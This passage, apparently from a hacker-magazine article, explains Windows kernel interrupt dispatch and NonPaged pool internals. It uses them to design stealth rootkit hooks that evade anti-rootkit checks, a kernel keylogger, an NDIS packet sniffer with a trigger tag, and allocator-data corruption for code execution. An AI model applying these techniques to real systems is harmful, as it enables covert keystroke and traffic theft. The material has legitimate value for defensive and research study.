Interrupt | Processor system bus Messages |

|

|

External +‑‑‑‑‑‑+‑‑‑‑‑‑+

Interrupts | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> I/O APIC |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

‑‑‑‑‑[ 2.3.1 Hardware interrupts dispatching on Windows

On Windows, the interrupt handler isn't executed immediately, there is a code template first. This template is implemented in the function KiInterruptTemplate and does two things. First, it saves the current core state in the stack and dispatches code flow to the right "interrupt dispatcher".

When a interrupt is raised, after the core status core is saved, code flow is transferred to the interrupt handler as defined in the IDT. In fact each interrupt handler in the IDT points to a KiInterruptTemplate routine [27]. KiInterruptTemplate will call KiInterruptDispatch which performs the following operations :

‑ Acquire the service routine spinlock.

‑ Raise IRQL to DEVICE_IRQL, the IRQL of a given interrupt vector is calculated by subtracting the interrupt vector from 27d.

‑ Call the interrupt handler, an ISR (Interrupt Service Routine).

‑ Lower IRQL.

‑ Release the service routine spinlock.

For example, the keyboard device ISR is I8042KeyboardInterruptService. ISR are routines for handling interrupts like top‑halves in the linux kernel. According to the WDK (Windows Driver Kit), the ISR must do whatever is appropriate to the device to dismiss the interrupt. Then, it should do only what is necessary to save stage and queue a DPC. It means it interruption management will take place on a lower IRQL than during ISR execution. The I/O processing is done into the DPC.

DPC (Deferred Procedure Call) are equivalent of bottom‑halves in linux. DPC works at IRQL DISPATCH_LEVEL, lower than the ISR's IRQL. In fact the ISR will queue a DPC to process the entire interrupt at a lower IRQL in order to avoid the core preemption taking too much time. For the keyboard the DPC is I8042KeyboardIsrDpc. Here a figure to sum up the interrupt processing :

Hardware Interrupt /‑‑‑‑> Here we are at |

| IRQL=DEVICE_LEVEL |

| The KiInterruptDispatch |

/‑‑‑> IDT ‑‑‑\ | | routine calls the ISR. |

|

| ISR handles interrupt |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ and queue a DPC for |

| KiInterruptTemplate ‑‑‑‑‑‑/ | later processing |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

KiInterruptDispatch receives one main argument from KiInterruptTemplate, a pointer to an interrupt object stored in the EDI register. Interrupt objects are defined by a KINTERRUPT structure :

kd> dt nt!_KINTERRUPT

+0x000 Type : Int2B

+0x002 Size : Int2B

+0x004 InterruptListEntry : _LIST_ENTRY

+0x00c ServiceRoutine : Ptr32 unsigned char

+0x010 ServiceContext : Ptr32 Void

+0x014 SpinLock : Uint4B

+0x018 TickCount : Uint4B

+0x01c ActualLock : Ptr32 Uint4B

+0x020 DispatchAddress : Ptr32 void

+0x024 Vector : Uint4B

+0x028 Irql : UChar

+0x029 SynchronizeIrql : UChar

+0x02a FloatingSave : UChar

+0x02b Connected : UChar

+0x02c Number : Char

+0x02d ShareVector : UChar

+0x030 Mode : _KINTERRUPT_MODE

+0x034 ServiceCount : Uint4B

+0x038 DispatchCount : Uint4B

+0x03c DispatchCode : [106] Uint4B

We retrieve in this structure, the SpinLock and the ServiceRoutine. Notice that SynchronizeIrql contains the IRQL when the ISR will be executed.

For each entry in the IDT which handles a hardware interrupt, the KiInterruptTemplate is contained in the DispatchCode table of the KINTERRUPT structure.

For the keyboard device we have this KINTERRUPT :

kd> dt nt!_KINTERRUPT 80dd8130

+0x000 Type : 22

+0x002 Size : 484

+0x004 InterruptListEntry : _LIST_ENTRY [ 0x80dd8134 ‑ 0x80dd8134 ] +0x00c ServiceRoutine : 0xfa815495 unsigned char ‑>i8042prt!I8042KeyboardInterruptService+0

+0x010 ServiceContext : 0x80e2ec88

+0x014 SpinLock : 0

+0x018 TickCount : 0xffffffff

+0x01c ActualLock : 0x80e2ed48 ‑> 0

+0x020 DispatchAddress : 0x804da8d8 void nt!KiInterruptDispatch+0 +0x024 Vector : 0x31

+0x028 Irql : 0x1a ''

+0x029 SynchronizeIrql : 0x1a ''

+0x02a FloatingSave : 0 ''

+0x02b Connected : 0x1 ''

+0x02c Number : 0 ''

+0x02d ShareVector : 0 ''

+0x030 Mode : 1 ( Latched )

+0x034 ServiceCount : 0

+0x038 DispatchCount : 0xffffffff

+0x03c DispatchCode : [106] 0x56535554

Let's have a look at the beginning of KiInterruptTemplate :

nt!KiInterruptTemplate:

804da972 54 push esp

804da973 55 push ebp

804da974 53 push ebx

804da975 56 push esi

804da976 57 push edi

804da977 83ec54 sub esp,54h

804da97a 8bec mov ebp,esp

804da97c 89442444 mov dword ptr [esp+44h],eax 804da980 894c2440 mov dword ptr [esp+40h],ecx 804da984 8954243c mov dword ptr [esp+3Ch],edx 804da988 f744247000000200 test dword ptr [esp+70h],20000h 804da990 0f852a010000 jne nt!V86_kit_a (804daac0) 804da996 66837c246c08 cmp word ptr [esp+6Ch],8

804da99c 7423 je nt!KiInterruptTemplate+0x4f (804da9c1) 804da99e 8c642450 mov word ptr [esp+50h],fs

804da9a2 8c5c2438 mov word ptr [esp+38h],ds

804da9a6 8c442434 mov word ptr [esp+34h],es

804da9aa 8c6c2430 mov word ptr [esp+30h],gs

804da9ae bb30000000 mov ebx,30h

804da9b3 b823000000 mov eax,23h

804da9b8 668ee3 mov fs,bx

804da9bb 668ed8 mov ds,ax

804da9be 668ec0 mov es,ax

804da9c1 648b1d00000000 mov ebx,dword ptr fs:[0]

804da9c8 64c70500000000ffffffff mov dword ptr fs:[0],0FFFFFFFFh 804da9d3 895c244c mov dword ptr [esp+4Ch],ebx 804da9d7 81fc00000100 cmp esp,10000h

804da9dd 0f82b5000000 jb nt!Abios_kit_a (804daa98) 804da9e3 c744246400000000 mov dword ptr [esp+64h],0 804da9eb fc cld

804da9ec 8b5d60 mov ebx,dword ptr [ebp+60h] 804da9ef 8b7d68 mov edi,dword ptr [ebp+68h] 804da9f2 89550c mov dword ptr [ebp+0Ch],edx 804da9f5 c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h 804da9fc 895d00 mov dword ptr [ebp],ebx

804da9ff 897d04 mov dword ptr [ebp+4],edi

804daa02 f60550f0dfffff test byte ptr ds:[0FFDFF050h],0FFh 804daa09 750d jne nt!Dr_kit_a (804daa18)

nt!KiInterruptTemplate2ndDispatch:

804daa0b bf00000000 mov edi,0 nt!KiInterruptTemplateObject:

804daa10 e9c3fcffff jmp nt!KeSynchronizeExecution+0x2 (804da6d8) [...]

Remember, this code is unique for each KINTERRUPT. We said before that KiInterruptDispatch receives its arguments from the EDI register (a pointer to the KINTERRUPT of the interrupt). In the KiInterruptTemplate we can see this little code :

[...]

nt!KiInterruptTemplate2ndDispatch:

804daa0b bf00000000 mov edi,0 nt!KiInterruptTemplateObject:

804daa10 e9c3fcffff jmp nt!KeSynchronizeExecution+0x2 (804da6d8) [...]

Here we have a mov "edi, 0" and a jmp, but if we look at the KiInterruptTemplate code contained in the keyboard's KINTERRUPT we have :

ffb72525 bf5024b7ff mov edi,0FFB72450h ; Keyboard KINTERRUPT ffb7252a e9a9839680 jmp nt!KiInterruptDispatch (804da8d8)

Wow, instructions are modified! The kernel will dynamically changes those 2 instructions in the KiInterruptTemplate code. In EDI we find the KINTERRUPT object and the jmp branch on KiInterruptDispatch.

Why this implementation ? Because we can easily change the dispatch handler. Even if we often have the KiInterruptDispatch we can find KiFloatingDispatch or KiChainDispatch. KiChainedDispatch is for vectors shared among multiple interrupt objects and KiFloatingDispatch is like KiInterruptDispatch, but it saves the floating core state too.

Windows provides APIs for connecting interrupts on IDT. IoConnectInterrupt and IoConnectInterruptEx, according to the WDK :

NTSTATUS

IoConnectInterrupt(

OUT PKINTERRUPT *InterruptObject,

IN PKSERVICE_ROUTINE ServiceRoutine,

IN PVOID ServiceContext,

IN PKSPIN_LOCK SpinLock OPTIONAL,

IN ULONG Vector,

IN KIRQL Irql,

IN KIRQL SynchronizeIrql,

IN KINTERRUPT_MODE InterruptMode,

IN BOOLEAN ShareVector,

IN KAFFINITY ProcessorEnableMask,

IN BOOLEAN FloatingSave

);

As you can see IoConnectInterrupt returns in the InterruptObject parameter a KINTERRUPT structure, the same that we retrieve in the IDT. Previously you have seen in the KiInterruptTemplate two labels, KiInterruptTemplateObject and KiInterruptTemplate2ndDispatch. Those two labels are used by kernel function to find the two instructions in the KiInterruptTemplateRoutine. KeInitializeInterrupt uses the KiInterruptTemplateObject label to update the "jmp Ki*Dispatch" and the KiConnectVectorAndInterruptObject function uses KiInterruptTemplate2ndDispatch to modify the "mov edi, <&Kinterrupt>".

‑‑‑‑‑[ 2.3.2 Hooking hardware IDT like a ninja

Now, think about this. We want to hook the IDT in a stealth way, we know that replacing an entry directly is not the best solution. Anti‑rooktits don't check the dynamically allocated KiInterruptTemplate routine. So we can modify this routine as we wish. There are three possible ways :

‑ Redirect the "jmp Ki*Dispatch" on our dispatch routine, we have to code our dispatch routine, not so hard.

‑ Change the kinterrupt address passed in EDI by the instruction "mov edi, <&Kinterrupt>". The new KINTERRUPT will be the same than the previous one, only the ServiceRoutine will be modified by us.

‑ Create our own KiInterruptTemplate, hard ...

In this paper, we choosed the simplest way. We change the

"mov edi, <&kinterrupt>" by a "mov edi, <&OurKinterrupt>" and we implement our ServiceRoutine. We know that this instruction is followed by a jmp, so with a disassembly engine we can retrieve the instruction before the jmp nt!KiInterruptDispatch and modify it. We must keep in mind, when the ServiceRoutine is running, the interrupt is not handled yet and we are running at DEVICE_IRQL IRQL. This is not a fair situation, because a lot of Windows kernel functions are not accessible. We know, that most ISR queued a DPC, so after the ISR has been executed, the last entry in the current core DPC queue should contain the DPC routine of our interrupt.

If we want to access data generated by the interrupt we must proceed like the ISR. Replacing the original ISR by our own ISR handler is very hard, because it depends too much on the hardware device. But we know that the real I/O is done by the DPC, so when KiInterruptTemplate will call our ServiceRoutine, first we call the original ServiceRoutine and we modify the last DPC entry by our.

DPC are represented by KDPC structures :

kd> dt nt!_KDPC

+0x000 Type : Int2B

+0x002 Number : UChar

+0x003 Importance : UChar

+0x004 DpcListEntry : _LIST_ENTRY

+0x00c DeferredRoutine : Ptr32 void

+0x010 DeferredContext : Ptr32 Void

+0x014 SystemArgument1 : Ptr32 Void

+0x018 SystemArgument2 : Ptr32 Void

+0x01c Lock : Ptr32 Uint4B

DPC list can be found in the KPRCB (Kernel Processor Control Region Block) structure of the current processor. KPRCB is preceded by a KPCR (Kernel Processor Control Block) structure which is located at FS:[0x1C] on the current processor. KPRCB is a 0x120 bytes from the beginning of the KPCR structure.

dt nt!_KPRCB

[...]

+0x860 DpcListHead : _LIST_ENTRY

+0x868 DpcStack : Ptr32 Void ; DPC arguments +0x86c DpcCount : Uint4B ; DPC core counter +0x870 DpcQueueDepth : Uint4B ; Numbers of DPC in the list +0x874 DpcRoutineActive : Uint4B

+0x878 DpcInterruptRequested : Uint4B

+0x87c DpcLastCount : Uint4B

+0x880 DpcRequestRate : Uint4B

+0x884 MaximumDpcQueueDepth : Uint4B

+0x888 MinimumDpcRate : Uint4B

Now we know how to retrieve the DPC of our interrupt, we can easily change it to our own and handle the data.

For the keyboard the DPC is queued by KeInsertQueueDpc in the I8xQueueCurrentKeyboardInput routine called by the keyboard's ISR.

kd> dt nt!_KDPC 80e3461c

+0x000 Type : 19 ; 19=DpcObject

+0x002 Number : 0 ''

+0x003 Importance : 0x1 ''

+0x004 DpcListEntry : _LIST_ENTRY [ 0xffdff980 ‑ 0x80559684 ] +0x00c DeferredRoutine : 0xfa815650 void i8042prt!I8042KeyboardIsrDpc +0x010 DeferredContext : 0x80e343b8

+0x014 SystemArgument1 : (null)

+0x018 SystemArgument2 : (null)

+0x01c Lock : 0xffdff9c0 ‑> 0

Here is the figure of the attack :

MyKinterrupt structure

Hardware Interrupt /‑‑‑‑> MyServiceRoutine |

| |Calls the original |

| |ISR ‑‑‑‑‑‑\

\‑‑‑> IDT ‑‑‑\ | | And modify the DPC | |

| |queue. | |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| KiInterruptTemplate ‑‑‑‑‑/ Original Kinterrupt |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Core |

+‑‑‑‑‑‑‑‑‑‑‑‑+ ServiceRoutine <‑‑‑‑‑/

| | Queues the ISR's DPC|

|DpcListHead |‑‑\ +‑‑‑‑‑‑‑

| | |

+‑‑‑‑‑‑‑‑‑‑‑‑+ |

| +‑‑‑‑‑+ +‑‑‑‑‑+

\‑> DPC |‑‑‑‑>| DPC |‑‑‑‑>| DPC |‑‑‑‑>| DPC |‑‑>DpcListHead

DpcListHead<‑‑‑| |<‑‑‑‑| |<‑‑‑‑| |<‑‑‑‑

+‑‑‑‑‑+ +‑‑‑‑‑+

Last DPC entry

Modified after the call

to the ServiceRoutine.

‑‑‑‑‑[ 2.3.3 ‑ Application 1 : Kernel keylogger

It's time to design a POC. In this sample we will see how to sniff keyboard keystrokes. As you see previously, we are now able to control the DPC generated by an interrupt. For the keyboard we will hijack the I8042KeyboardIsrDpc routine which is set into the DPC's keyboard interruption. With our own DPC handler we will reproduce the behavior of the original routine, unfortunately this kind of routine is hard to write so we ripped some pieces of codes and used reversing techniques (notice the lazy hacker style).

In our DPC handler we must call the KeyboardClassServiceCallback [28] routine, this routine is provided by the Kbdclass driver. This callback transfers input data buffer of a device to the class data queue. A function keyboard driver must calls this class service callback in its DPC routine. Here is the KeyboardClassServiceCallback's prototype :

VOID

KeyboardClassServiceCallback (

IN PDEVICE_OBJECT DeviceObject,

IN PKEYBOARD_INPUT_DATA InputDataStart,

IN PKEYBOARD_INPUT_DATA InputDataEnd,

IN OUT PULONG InputDataConsumed

);

Parameters :

DeviceObject : Pointer to the class device object.

InputDataStart : Pointer to the first keyboard input data packet in the input data buffer of the port device.

InputDataEnd : Pointer to the keyboard input data packet that immediately follows the last data packet in the input data buffer of the port device.

InputDataConsumed : Pointer to the number of keyboard input data packets that are transferred by the routine.

KEYBOARD_INPUT_DATA is defined by :

typedef struct _KEYBOARD_INPUT_DATA {

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

So in our DPC handler we just have to check the MakeCode member of the set of KEYBOARD_INPUT_DATA structures. The MakeCode (or scancode) represents the data sent by the keyboard to the system when you hit or release a key, each key has it's own scancode and the system usually translates the scancode into a character depending on you code page. For example the scancode 19d on classical US keyboard is translated into the keycode 'e'.

In order to know if CAPSLOCK is activated we send an IOCTL to the functional keyboard device but we can only send IOCTL at a PASSIVE_LEVEL IRQL. For that we use a system thread which will sent IOCTL with the kernel API IoBuildDeviceIoControlRequest. In fact the scancodes are queued in a list locked by a spinlock and thread synchronized with a semaphore. The thread is listening to incoming keystrokes then converts scancodes into keycodes. Like the kernel keylogger Klog does [29].

‑‑‑‑‑[ 2.3.4 ‑ Application 2 : NDIS packet sniffer

In the same way, an interrupt is raised when your network card receives a packet. When this kind of interrupt is raised NDIS ISR handler (ndisMIsr) routine launches the miniport ISR interrupt handler. The ndisMIsr routine is used as a wrapper for miniport ISR and DPC. You can see in the IDT the following entry :

3b: 80df6414 NDIS!ndisMIsr (KINTERRUPT 80df63d8)

It means, your ISR handler is not called directly when an interrupt occurs, it is the ndisMIsr routine. Miniport's ISR is called by ndisMIsr and the miniport DPC is also queued in this routine. The DPC queued is the ndisMDpc routine which wraps your own DPC miniport handler. Finally NDIS wraps all the interrupt process with ndisMIsr and ndisMDpc routines on Windows XP with NDIS 5.1. We don't know if this implementation is still present on Windows Vista with NDIS 6.0.

We know we can hijack the ndisMDpc handler by our own handler. With NDIS we will proceed in the same way but we will not hook the MiniportDpc routine but directly hook the ndisMDpc routine. Why? Because we know that ndisMDpc wraps the MiniportDpc routine and in fact MiniportDpc depends too much on the hardware of the miniport device. Each miniport device is represented by an NDIS_MINIPORT_BLOCK [30] structure, in this structure we find a reference to a NDIS_MINIPORT_INTERRUP structure, which looks like :

kd> dt ndis!_NDIS_MINIPORT_INTERRUPT

+0x000 InterruptObject : Ptr32 _KINTERRUPT

+0x004 DpcCountLock : Uint4B

+0x008 Reserved : Ptr32 Void

+0x00c MiniportIsr : Ptr32 Void

+0x010 MiniportDpc : Ptr32 Void

+0x014 InterruptDpc : _KDPC

+0x034 Miniport : Ptr32 _NDIS_MINIPORT_BLOCK +0x038 DpcCount : UChar

+0x039 Filler1 : UChar

+0x03c DpcsCompletedEvent : _KEVENT

+0x04c SharedInterrupt : UChar

+0x04d IsrRequested : UChar

If we look at the ndisMDpc routine we notice that only the first parameter is used and this parameter refers to a NDIS_MINIPORT_INTERRUPT structure. The ndisMDpc function will call the MiniportDpc field of this structure. We just have to hijack this pointer by our routine in order to control the incoming packets on the system.

The NDIS documentation specifies that a miniport DPC routine must notify the bound protocol driver that an that an array of received packets is available by calling the NdisMIndicateReceivePacket function [31].

VOID

NdisMIndicateReceivePacket(

IN NDIS_HANDLE MiniportAdapterHandle,

IN PPNDIS_PACKET ReceivePackets,

IN UINT NumberOfPackets

);

In the ndis.h header we have :

#define NdisMIndicateReceivePacket(_H, _P, _N) \

{

(*((PNDIS_MINIPORT_BLOCK)(_H))‑>PacketIndicateHandler)( \

_H, \

_P, \

_N); \

}

So in our MiniportDpc routine we will hihjack the PacketIndicateHandler, which is often the ethFilterDprIndicateReceivePacket routine in the NDIS_MINIPORT_BLOCK structure, in order to filter the incoming packets on the miniport. After we have hijacked this pointer we call the original MiniportDpc routine that will process everything. After that, we restore the PacketIndicateHandler handler in the NDIS_MINIPORT_BLOCK for stealth reasons. To sum up we must :

‑ Hijack the routine into the DPC queued by the ndisMIsr routine.

‑ Now that we have hijacked the ndisMDpc we modify the PacketIndicateHandler into the NDIS_MINIPORT_BLOCK of the miniport.

‑ We call the ndisMDpc routine. It will call the original MiniportDpc handler

‑ The MiniportDpc routine calls the NdisMIndicateReceivePacket macro. Our filter function is called and we do our job.

‑ When the ndisMDpc returns we restore the original PacketIndicateHandler into the NDIS_MINIPORT_BLOCK of the miniport.

With this filter, we can monitor or modify the incoming packets. For example, our PacketIndicateHandler hook can search in the incoming packets for a tag, when this tag his found the rootkit triggers a function.

‑‑‑[ 2.2 ‑ Conclusion about stealth hooking on IDT

In this part we have seen how Windows manages his hardware interrupts by using a global template function dedicated to all interrupts. The fact that this template routine his forged for each interrupts is the main point of this attack, with that we can create a fake template routine that cannot be detected directly. The stealth of our attack remains on two points :

‑ We modify only dynamic allocated and forged code

‑ We hijack highly temporal dynamic allocated structures which when running, are always preempting the core.

So, even if the scope of our attack is restricted, controlling the hardware is the best way for a rk to reach critical components. Finally, we have just cheated the system with its own features and that's the purpose of a stealth rootkit.

‑‑[ 3 ‑ Owning NonPaged pool using stealth hooking

Rootkit sophistication depends on how it subverts the kernel. More complex techniques come out as kernel and hardware understanding evolve. Nowadays there is so many ways to subvert the kernel, in consequence protections become harder to defeat. We're going to present a different means to gain control. Next techniques apply this approach to the kernel memory allocator.

Our goal is getting execution on every NonPaged allocation without using any hook. It must bypass any hooking verification even those based on code page comparison or hashing. It will be done by modifying data used by the allocator. We just apply the concept of using code against itself. We do believe that this concept can be used on others components and in different ways successfully.

We won't try to convince you that this technique is perfect. It evades current protections and detection systems. The more important is that they would need more than a simple modification to prevent and block an attack based on kernel code behavior.

‑‑‑[ 3.1 ‑ Kernel allocation layout review

As every operating system, Windows kernel puts forward some functions in order to allocate or free memory. Virtual memory is organized as block of memory called pages. In Intel x86 architecture, a page size is 4096 bytes and most allocations requests are smaller. Thus, kernel functions like ExAllocatePoolWithTag and ExFreePoolWithTag kept unused memory blocks for next allocations. Internal functions directly interact with hardware each time a page is needed. All those procedures are complex and delicate that's why drivers trust kernel implementation.

‑‑‑‑‑[ 3.1.1 ‑ Difference between Paged and NonPaged pool

Kernel system memory is divided in two different kind of pool. It has been separated to distinguish most used memory blocks. The system must know which pages should be resident and which can be temporarily discarded. The page fault handler restores pageable memory only when IRQL is inferior of DPC or DISPATCH level. Paged pool can be paged in or out of the system. A memory block paged out will be saved on the file system and so unused part of paged memory will not be resident in memory. NonPaged pool is present in every IRQL level and then is put‑upon for important tasks.

The file pagefile.sys contains paged out memory. It was attacked to inject unsigned code into Vista kernel [32]. Some solutions was discussed as disabling kernel memory paging. Joanna Rutkowska defended this solution as more secure than others but with a small physical memory loss. Microsoft just denied raw disk access, which may prove that Paged and NonPaged layout is an important feature of Windows kernel [33].

This article focuses on NonPaged pool layout as PagedPool handling is totally different. NonPaged pool can be more or less considered as following a typical heap implementation. Global information about system pool can be found in Microsoft Windows Internals [34].

‑‑‑‑‑[ 3.1.2 ‑ NonPaged pool tables

The allocation algorithm must be fast allocating on the most used sizes. That why three different tables exist and each one is devoted to a size range. We found this organization in most memory management algorithms. Retrieving memory blocks from hardware takes time. Windows balances between response faster and avoid memory wasting. Response time becomes faster if memory blocks are stored for next allocations. In the other hand, if you keep too much memory, it can penalize memory demands.

Each table implements a different way to store memory blocks. We will present each table and where you can find them.

The NonPaged lookaside is a per‑processor table covering size inferior or equal to 256 bytes. Each processor has a processor control register (PCR) storing data concerning only a single processor like IRQL level, GDT, IDT. Its extension called processor control region (PCRB) contains lookasides tables. Next windbg dump presents NonPaged lookaside table and its structure.

kd> !pcr

KPCR for Processor 0 at ffdff000:

Major 1 Minor 1

NtTib.ExceptionList: 805486b0

NtTib.StackBase: 80548ef0

NtTib.StackLimit: 80546100

NtTib.SubSystemTib: 00000000

NtTib.Version: 00000000

NtTib.UserPointer: 00000000

NtTib.SelfTib: 00000000

SelfPcr: ffdff000

Prcb: ffdff120

Irql: 00000000

IRR: 00000000

IDR: ffffffff

InterruptMode: 00000000

IDT: 8003f400

GDT: 8003f000

TSS: 80042000

CurrentThread: 80551920

NextThread: 00000000

IdleThread: 80551920

DpcQueue: 0x80551f80 0x804ff29c

kd> dt nt!_KPRCB ffdff120

[...]

+0x5a0 PPNPagedLookasideList : [32]

+0x000 P : 0x819c6000 _GENERAL_LOOKASIDE +0x004 L : 0x8054dd00 _GENERAL_LOOKASIDE [...]

kd> dt nt!_GENERAL_LOOKASIDE

+0x000 ListHead : _SLIST_HEADER

+0x008 Depth : Uint2B

+0x00a MaximumDepth : Uint2B

+0x00c TotalAllocates : Uint4B

+0x010 AllocateMisses : Uint4B

+0x010 AllocateHits : Uint4B

+0x014 TotalFrees : Uint4B

+0x018 FreeMisses : Uint4B

+0x018 FreeHits : Uint4B

+0x01c Type : _POOL_TYPE

+0x020 Tag : Uint4B

+0x024 Size : Uint4B

+0x028 Allocate : Ptr32 void*

+0x02c Free : Ptr32 void

+0x030 ListEntry : _LIST_ENTRY

+0x038 LastTotalAllocates : Uint4B

+0x03c LastAllocateMisses : Uint4B

+0x03c LastAllocateHits : Uint4B

+0x040 Future : [2] Uint4B

Lookaside tables permit faster block retrieving than typical double linked list. For this optimization lock time is really important and a single linked list is a faster mechanism than software locking. ExInterlockedPopEntrySList function is used to pop an entry from a single linked list using hardware locking instruction "lock".

PPNPagedLookasideList is the lookaside table we were talking about. It contains two lookaside lists P and L. Depth field of the GENERAL_LOOKASIDE structure defines how many entries can be in ListHead single list. The system updates regularly the depth using different counters. The update algorithm is based on processor number and is different for P and L. Depth of the P list is updated more frequently than L list as it optimizes performances on very small blocks.

The second table depends how many processors are used and how system managed them. Allocation system walk it if size is inferior or equal to 4080 bytes or if lookaside research failed. Even if target table can change, it always has the same POOL_DESCRIPTOR structure. On single processor, a variable called PoolVector is used to retrieve NonPagedPoolDescriptor pointer. On multi processor, the ExpNonPagedPoolDescriptor table has 16 slots containing pool descriptors. Each processor PRCB points on a KNODE structure. A node can be linked on more than one processor and contains a color field used as an index in ExpNonPagedPoolDescriptor. Next figures illustrate this algorithm.

PoolVector

+‑‑‑‑‑‑‑‑‑‑‑‑+

| NonPaged | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> NonPagedPoolDescriptor |‑‑‑‑‑‑‑‑‑‑‑‑+

| Paged |

+‑‑‑‑‑‑‑‑‑‑‑‑+

[ Figure 1 ‑ Single processor pool descriptor ]

Processor #1

+‑‑‑‑‑‑‑‑‑‑‑‑+

| | ExpNonPagedPoolDescriptor

| PRCB ‑‑‑‑‑‑\ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | /‑‑‑SLOT #01 |

+‑‑‑‑‑‑‑‑‑‑‑‑+ | | SLOT #02 |

/‑‑‑‑‑‑‑‑‑/ | SLOT #03 |

| KNODE | | SLOT #04 |

|‑‑‑> +‑‑‑‑‑‑‑‑‑‑‑‑+ | SLOT #05 |

| | Proc mask | | | SLOT #06 | | | color (01) ‑‑/ | SLOT #07 |

| | ... | SLOT #08 |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ SLOT #09 |

| SLOT #10 |

\‑‑‑‑‑‑‑‑‑\ SLOT #11 |

Processor #2 | | SLOT #12 |

+‑‑‑‑‑‑‑‑‑‑‑‑+ | SLOT #13 |

| | | SLOT #14 |

| PRCB ‑‑‑‑‑‑/ | SLOT #15 |

| | SLOT #16 |

+‑‑‑‑‑‑‑‑‑‑‑‑+

[ Figure 2 ‑ Multiple processor pool descriptor ]

A global variable ExpNumberOfNonPagedPools defines if multi processor case is used. It should reflect processor number but it can change between operating system versions.

The next dump shows POOL_DESCRIPTOR structure from windbg.

kd> dt nt!_POOL_DESCRIPTOR

+0x000 PoolType : _POOL_TYPE

+0x004 PoolIndex : Uint4B

+0x008 RunningAllocs : Uint4B

+0x00c RunningDeAllocs : Uint4B

+0x010 TotalPages : Uint4B

+0x014 TotalBigPages : Uint4B

+0x018 Threshold : Uint4B

+0x01c LockAddress : Ptr32 Void

+0x020 PendingFrees : Ptr32 Void

+0x024 PendingFreeDepth : Int4B

+0x028 ListHeads : [512] _LIST_ENTRY

Queued spinlock synchronization, part of HAL library, is used to restrict concurrency on a pool descriptor. It assures that only one thread and one processor will access and unlink an entry from a pool descriptor. HAL library changes on different architectures and what is a simple IRQL raising on single processor becomes a more complex queued system on multi‑processor. For default pool descriptor, general NonPaged queued spinlock is locked (LockQueueNonPagedPoolLock). Else, a custom queued spinlock is created.

The third and last table is shared by processors for size superior of 4080 bytes. MmNonPagedPoolFreeListHead is also used when others tables lack memory. It composed by 4 LIST_ENTRY each one representing a page number, except for the last one which holds all superiors pages kept by the system. Access to this table is guarded by general non paged queued spinlock also called LockQueueNonPagedPoolLock. During the free procedure of a smaller block, ExFreePoolWithTag merges it with previous and next free blocks. It can create a block superior or equal to 1 page. In this case, the new block is added in the MmNonPagedPoolFreeListHead table.

‑‑‑‑‑[ 3.1.3 ‑ Allocation and free algorithms

Kernel allocation does not change that much between OS versions but its algorithm is as hard as the userland heap one. In this part, we want to illustrate basic behavior between tables during allocation or free procedures. A lot of details have been thrown away such as synchronization mechanisms. Those algorithms will help you for the technique explanation but also understanding the basic elements of kernel allocation. Despite kernel exploitation is not part of this paper, pool overflow is an interesting topic that needs understanding of some part of this algorithm.

NonPaged pool allocation algorithm (ExAllocatePoolWithTag):

IF [ Size > 4080 bytes ]

[

‑ Call the MiAllocatePoolPages function

‑ Walk MmNonPagedPoolFreeListHead LIST_ENTRY table. ‑ Retrieve memory from hardware if necessary. ‑ Return memory page aligned (without header). ]

IF [ Size <= 256 bytes ]

[

‑ Pop entry from PPNPagedLookasideList table.

‑ If something is found return memory block.

]

IF [ ExpNumberOfNonPagedPools > 1 ]

‑ PoolDescriptor from ExpNumberOfNonPagedPools and used index comes from PRCB KNODE color.

ELSE

‑ PoolDescriptor is PoolVector first entry, designed by symbol as NonPagedPoolDescriptor.

FOREACH [ >= Size entry of PoolDescriptor.ListHeads ] [

IF [ Entry is not empty ]

[

‑ Unlink entry and split it if needed

‑ Return memory block

]

]

‑ Call the MiAllocatePoolPages function

‑ Walk MmNonPagedPoolFreeListHead LIST_ENTRY table.. ‑ Split it correctly to the right size

‑ Return new memory block

NonPaged pool free algorithm (ExFreePoolWithTag) :

IF [ MemoryBlock is page aligned ]

[

‑ Call the MiFreePoolPages function

‑ Determine block type (Paged or NonPaged) ‑ Depending on how many blocks are kept in MmNonPagedPoolFreeListHead, we release it to the hardware. ]

ELSE

[

‑ Merge previous and next block if possible

IF [ NewMemoryBlock size <= 256 bytes ]

[

‑ Look at PPNPagedLookasideList entry depth and see if we should keep it.

‑ We return if memory block is pushed into lookaside list ]

IF [ NewMemoryBlock size <= 4080 bytes ]

[

‑ Use POOL_HEADER PoolIndex variable to determine which PoolDescriptor must be used.

‑ Insert it in the proper LIST_ENTRY array entry ‑ If anything goes well, return

]

‑ Depending on how many blocks are kept in MmNonPagedPoolFreeListHead, we release it to the hardware. ]

Paged pool algorithm is very different especially for page aligned blocks. Smaller size management should be not that far from NonPaged but in assembly code we definitely saw that NonPaged and Paged pool are totally separated. Once you know a little more about how NonPaged allocation works, we can now talk about exploitation part.

‑‑‑[ 3.2 ‑ Getting code execution abusing allocation code

Our main goal is getting code execution on every allocation attempts for NonPaged pool only. This result must be done only by changing data used by targeted code. Our purpose is proving that kernel code can serve our interest only by changing typical data environment. Our work is based on a new rootkit developed to gain control over NonPaged allocation.

We start with getting code execution for allocation superior or equal to 1 page. As we saw on previous part, it concerns the third and last table.

‑‑‑‑‑[ 3.2.1 ‑ Data corruption of MmNonPagedPoolFreeListHead

MmNonPagedPoolFreeListHead conserves page aligned memory blocks to speed up memory allocation. It links held memory block using a LIST_ENTRY structure. This structure is common and use in Windows heap library for example.

kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY

MmNonPagedPoolFreeListHead access is protected by general NonPaged queued spinlock LockQueueNonPagedPoolLock. It assures that only one thread and processor can look and modify this structure.

